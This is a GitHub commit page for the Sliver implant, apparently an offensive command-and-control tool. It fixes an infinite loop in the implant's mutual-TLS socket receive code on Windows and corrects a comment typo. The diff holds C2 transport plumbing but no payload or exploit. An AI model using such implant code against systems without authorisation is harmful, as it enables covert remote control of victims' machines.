Skip to content

Commit

Permalink
Fixed inf loop in implant on certain types of mtls socket errors (Win…
Browse files Browse the repository at this point in the history
…dows)
  • Loading branch information
moloch-- committed Dec 24, 2020
1 parent 292a802 commit e8280bc
Show file tree
Hide file tree
Showing 2 changed files with 6 additions and 3 deletions.
4 changes: 2 additions & 2 deletions implant/sliver/transports/tcp-mtls.go
Original file line number Diff line number Diff line change
Expand Up @@ -40,7 +40,7 @@ import (

// socketWriteEnvelope - Writes a message to the TLS socket using length prefix framing
// which is a fancy way of saying we write the length of the message then the message
// e.g. [uint32 length|message] so the reciever can delimit messages properly
// e.g. [uint32 length|message] so the receiver can delimit messages properly
func socketWriteEnvelope(connection *tls.Conn, envelope *pb.Envelope) error {
data, err := proto.Marshal(envelope)
if err != nil {
Expand Down Expand Up @@ -97,7 +97,7 @@ func socketReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
// {{if .Config.Debug}}
log.Printf("Unmarshaling envelope error: %v", err)
// {{end}}
return &pb.Envelope{}, err
return nil, err
}

return envelope, nil
Expand Down
5 changes: 4 additions & 1 deletion implant/sliver/transports/transports.go
Original file line number Diff line number Diff line change
Expand Up @@ -319,7 +319,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
if err == io.EOF {
break
}
if err == nil {
if err != io.EOF && err != nil {
break
}
if envelope != nil {
recv <- envelope
}
}
Expand Down

0 comments on commit e8280bc

Please sign in to comment.